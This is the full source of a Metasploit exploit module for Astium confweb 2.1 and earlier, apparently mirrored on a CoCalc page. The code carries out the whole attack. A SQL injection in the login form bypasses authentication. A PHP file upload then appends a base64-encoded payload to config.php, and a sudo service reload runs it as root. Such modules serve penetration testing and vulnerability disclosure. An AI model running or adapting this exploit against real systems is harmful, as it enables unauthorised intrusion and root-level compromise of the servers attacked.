CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/astium_sqli_upload.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking # Configuration is overwritten and service reloaded
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info={})
13
super(update_info(info,
14
'Name' => "Astium Remote Code Execution",
15
'Description' => %q{
16
This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and
17
lower. A SQL Injection vulnerability is used to achieve authentication bypass and gain
18
admin access. From an admin session arbitrary PHP code upload is possible. It is used
19
to add the final PHP payload to "/usr/local/astium/web/php/config.php" and execute the
20
"sudo /sbin/service astcfgd reload" command to reload the configuration and achieve
21
remote root code execution.
22
},
23
'License' => MSF_LICENSE,
24
'Author' =>
25
[
26
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
27
],
28
'References' =>
29
[
30
[ 'OSVDB', '88860' ],
31
[ 'EDB', '23831' ]
32
],
33
'Platform' => ['php'],
34
'Arch' => ARCH_PHP,
35
'Targets' =>
36
[
37
['Astium 2.1', {}]
38
],
39
'Privileged' => true,
40
'DisclosureDate' => '2013-09-17',
41
'DefaultTarget' => 0))
42
43
register_options(
44
[
45
OptString.new('TARGETURI', [true, 'The base path to the Astium installation', '/']),
46
])
47
end
48
49
def uri
50
return target_uri.path
51
end
52
53
def check
54
# Check version
55
vprint_status("Trying to detect Astium")
56
57
res = send_request_cgi({
58
'method' => 'GET',
59
'uri' => normalize_uri(uri, "en", "content", "index.php")
60
})
61
62
if res and res.code == 302 and res.body =~ /direct entry from outside/
63
return Exploit::CheckCode::Detected
64
else
65
return Exploit::CheckCode::Unknown
66
end
67
end
68
69
def exploit
70
print_status("Access login page")
71
res = send_request_cgi({
72
'method' => 'GET',
73
'uri' => normalize_uri(uri),
74
'vars_get' => {
75
'js' => '0',
76
'ctest' => '1',
77
'origlink' => '/en/content/index.php'
78
}
79
})
80
81
if res and res.code == 302 and res.get_cookies =~ /astiumnls=([a-zA-Z0-9]+)/
82
session = $1
83
print_good("Session cookie is [ #{session} ]")
84
redirect = URI(res.headers['Location'])
85
print_status("Location is [ #{redirect} ]")
86
else
87
fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
88
end
89
90
91
# Follow redirection process
92
print_status("Following redirection")
93
res = send_request_cgi({
94
'uri' => "#{redirect}",
95
'method' => 'GET',
96
'cookie' => "astiumnls=#{session}"
97
})
98
99
if not res or res.code != 200
100
fail_with(Failure::Unknown, "#{peer} - Redirect failed!")
101
end
102
103
104
sqlirandom = rand_text_numeric(8)
105
106
# SQLi to bypass authentication
107
sqli="system' OR '#{sqlirandom}'='#{sqlirandom}"
108
109
# Random password
110
pass = rand_text_alphanumeric(10)
111
112
post_data = "__act=submit&user_name=#{sqli}&pass_word=#{pass}&submit=Login"
113
print_status("Using SQLi to bypass authentication")
114
res = send_request_cgi({
115
'method' => 'POST',
116
'uri' => normalize_uri(uri, "/en", "logon.php"),
117
'cookie' => "astiumnls=#{session}",
118
'data' => post_data
119
})
120
121
if not res or res.code != 302
122
fail_with(Failure::Unknown, "#{peer} - Login bypass was not succesful!")
123
end
124
125
# Random filename
126
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
127
128
phppayload = "<?php "
129
# Make backup of the "/usr/local/astium/web/php/config.php" file
130
phppayload << "$orig = file_get_contents('/usr/local/astium/web/php/config.php');"
131
# Add the payload to the end of "/usr/local/astium/web/php/config.php". Also do a check if we are root,
132
# else during the config reload it might happen that an extra shell is spawned as the apache user.
133
phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");"
134
phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
135
phppayload << "fwrite($f, $orig . \"<?php if (posix_getuid() == 0) {\" . $replacement . \"} ?>\");"
136
phppayload << "fclose($f);"
137
# Reload astcfgd using sudo (so it will read our payload with root privileges).
138
phppayload << "system('sudo /sbin/service astcfgd reload');"
139
# Sleep 1 minute, so that we have enough time for the reload to trigger our payload
140
phppayload << "sleep(60);"
141
# Restore our original config.php, else the Astium web interface won't work anymore.
142
phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
143
phppayload << "fwrite($f, $orig);"
144
phppayload << "fclose($f);"
145
phppayload << "?>"
146
147
post_data = Rex::MIME::Message.new
148
post_data.add_part("submit", nil, nil, "form-data; name=\"__act\"")
149
post_data.add_part(phppayload, "application/octet-stream", nil, "file; name=\"importcompany\"; filename=\"#{payload_name}\"")
150
file = post_data.to_s
151
152
print_status("Uploading Payload [ #{payload_name} ]")
153
res = send_request_cgi({
154
'method' => 'POST',
155
'uri' => normalize_uri(uri, "en", "database", "import.php"),
156
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
157
'cookie' => "astiumnls=#{session}",
158
'data' => file
159
})
160
161
# If the server returns 200 and the body contains our payload name,
162
# we assume we uploaded the malicious file successfully
163
if not res or res.code != 200 or res.body !~ /#{payload_name}/
164
fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")
165
end
166
167
register_file_for_cleanup("/usr/local/astium/web/html/upload/#{payload_name}")
168
169
print_status("Requesting Payload [ #{uri}upload/#{payload_name} ]")
170
print_status("Waiting as the reloading process may take some time, this may take a couple of minutes")
171
res = send_request_cgi({
172
'method' => 'GET',
173
'uri' => normalize_uri(uri, "upload", "#{payload_name}")
174
}, 120)
175
176
# If we don't get a 200 when we request our malicious payload, we suspect
177
# we don't have a shell, either.
178
if res and res.code != 200
179
print_error("Unexpected response...")
180
end
181
182
end
183
end
184
185